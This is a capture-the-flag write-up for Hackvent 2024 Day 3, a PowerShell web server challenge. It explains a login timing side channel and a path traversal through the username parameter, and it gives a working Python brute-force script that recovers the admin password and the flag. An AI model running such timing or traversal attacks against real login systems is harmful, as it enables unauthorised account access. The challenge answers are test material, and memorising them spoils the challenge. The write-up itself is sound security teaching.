Hackvent 2024: Day 3

Hackvent 202420

[HV24.03] PowerHell

Oh no! The devil has found some secret information about santa! And even worse, he hides them in a webserver written in powershell! Help Santa save christmas and hack yourself into the server.

Start the resource and get the flag.
In case you encounter any issues during solving, please try to connect via the HL VPN
Flag format: HV24{}
sha256sum of the handout: 3f8fe367efd41d17047642496260cbc97313ccc19484be151d4b07556d9b342a

This challenge was written by coderion. True mastery of extraordinary web servers.
Hackvent 2024 - Day 3 - Handout

Solution

We are given access to a website as well as the source code for said website.

Let's assume the website is hosted at: https://example.com

The homepage shows us a login form:

Hackvent 2024 - Day 3 - Homepage

By inspecting the source code files, we can see that the passwords directory contains files in the format of $username.txt. There are two users, admin and user. The password for user is cat.

We can log in as the user user but there is nothing interesting on the resulting dashboard page at:
https://example.com/dashboard?username=user&password=cat

Hackvent 2024 - Day 3 - Dashboard

Side note: The username query parameter on this page leads to an XSS vulnerability, but this is not relevant for this challenge.

Our goal then becomes to learn the admin password.

By inspecting the source code, we focus on this snippet in the authenticate.ps1 file:

$username = $request.QueryString["username"]
$password = $request.QueryString["password"]

if (Test-Path "passwords/$username.txt") {
    $storedPassword = Get-Content -Raw -Path "passwords/$username.txt"
    $isAuthenticated = $true

    for ($i = 0; $i -lt $password.Length; $i++) {
        if ($password[$i] -cne $storedPassword[$i]) {
            $isAuthenticated = $false
            Start-Sleep -Milliseconds 500 # brute-force prevention
            break
        }
    }

There is a quirky behaviour here around the brute force prevention. The script checks that the provided password is correct compared to the password in the $storedPassword file by checking character by character. If the current character is incorrect, there is a 500ms delay before the response is returned. We can abuse this fact and brute-force the password character by character. If we guess a single character and it is the correct character, we will receive a faster response than if we guess an incorrect one. This reveals a timing attack vulnerability.

We write a script to brute-force the password for us:

# Hackvent 2024 - Day 3
# Mo Beigi
#
# Brute-force the PowerHell password!

import requests
import string
import time

target_url = "https://example.com/login"
username = "admin"
charset =  string.punctuation + string.ascii_letters + string.digits

# Timing threshold in seconds
# Adjust based on your latency to server
threshold = 1.2

def test_password_partial(partial_password):
    params = {
        "username": username,
        "password": partial_password
    }
    start_time = time.time()
    response = requests.get(target_url, params=params)
    elapsed_time = time.time() - start_time
    return elapsed_time, response.status_code

def perform_timing_attack():
    password = input("Enter known password prefix (leave empty if none): ")
    print("[*] Starting timing attack...")

    while True:
        best_guess = None

        for char in charset:
            test_pass = password + char
            elapsed_time, status_code = test_password_partial(test_pass)

            print(f"[*] Testing: {test_pass} | Time: {elapsed_time:.4f}s")

            # Select the first character whose response time is below the threshold
            if elapsed_time < threshold:
                best_guess = char
                print(f"[+] Character found: {best_guess}")
                break

        # If no character exceeds the threshold, stop the attack
        if not best_guess:
            print("[*] Attack complete or no progress detected.")
            break

        # Append the best guess to the password
        password += best_guess
        print(f"[+] Current password: {password}")

    return password

if __name__ == "__main__":
    recovered_password = perform_timing_attack()
    print(f"[+] Recovered password: {recovered_password}")

Our strategy involves testing character by character until we receive a faster-than-expected response.

We use a sensible charset which includes all alphanumeric characters and punctuation characters.

Some trial and error is required to fine-tune the threshold parameter. In my testing, if my character was incorrect the response would take 1.27s end to end. If my character was correct, the response would take 1.12s end to end. As a result, I set my threshold to 1.2s to allow me to distinguish correct and incorrect guesses.

Running the script eventually outputs the admin password which is Meow:3.

At this point I login as the admin user with the discovered password to see:

Hackvent 2024 - Day 3 - Hello Devil

We discover the contents of the secret.txt is:

Santa secretly likes pineapple on pizza... He's also never gonna give you up or let you down. But sadly, there's no flag here :c

Unfortunately, this is not the flag.

By inspecting the Dockerfile we notice the line:

RUN ["/bin/sh", "-c", "echo 'HV24{f4k3_fl4g}' > flag.txt"]

This implies that we need to read the flag.txt file in the root directory. This makes me highly suspicious of a path traversal vulnerability.

By reviewing the authenticate.ps1 file again, recall these lines:

$username = $request.QueryString["username"]
...
$storedPassword = Get-Content -Raw -Path "passwords/$username.txt"

We control the contents of $username via the username query parameter. Therefore, if we set the $username to ../flag, the path provided to Get-Content becomes passwords/../flag.txt, which resolves to flag.txt!

Our assumption is that using this username, we can brute-force the contents of flag.txt, which is presumably today's flag.

We can also validate our assumption here by testing the login endpoint. If the username is incorrect, we see:

Hackvent 2024 - Day 3 - User not found

However, in our case the username is correct and we instead see:

Hackvent 2024 - Day 3 - Invalid Password

This validates our assumption!


Therefore, we modify our existing script and set the username variable to ../flag.

We then rerun the brute-force attempt as before (providing the prefix HV24{ to speed things up).

Soon the script begins printing each correct character it finds as it goes. I end up googling the first 4 characters of the flag prematurely and get many search results related to Rickrolling. It turns out today's flag is the YouTube video ID for the Rickroll video!

Flag:

HV24{dQw4w9WgXcQ}

Leave a comment

(required)(will not be published)(required)

Comments

There are no comments yet. Be the first to add one!